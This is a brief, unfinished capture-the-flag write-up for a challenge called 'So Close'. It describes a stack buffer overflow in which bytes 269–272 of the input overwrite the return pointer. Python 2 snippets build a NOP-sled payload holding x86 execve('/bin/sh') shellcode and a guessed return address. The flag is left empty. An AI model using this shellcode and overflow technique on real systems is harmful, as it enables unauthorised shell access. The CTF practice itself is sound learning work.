Stage 3 - So Close

[ikornaselur]

Description

Yet so far :(
/home/so_close on the shell.

Solution

Flag is: ``

[ikornaselur]

It's a buffer overflow exploit that requires a shellcode to be crafted.

Bytes 269-272 in the input will overwrite the return pointer. I thing we need to figure out the address to where the input is stored and then jump into it after writing shellcode to read the flag. I just don't remember exactly how to do this all, so I'm going to take a short break from this.

padding = 268
address = "\x91\x92\x93\x94"

print "\x90"*padding + address

[ikornaselur]

EBP there overwritten by the python script above.

[ikornaselur]

padding = 268
address = "\x95\x84\x04\x08"
shell = "\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x6a\x0b\x58\x89\xe3\x31\xc9\x99\xcd\x80"
padding = padding - len(shell)

print "\x90" * padding + shell + address

Think this is it.. just don't know the correct address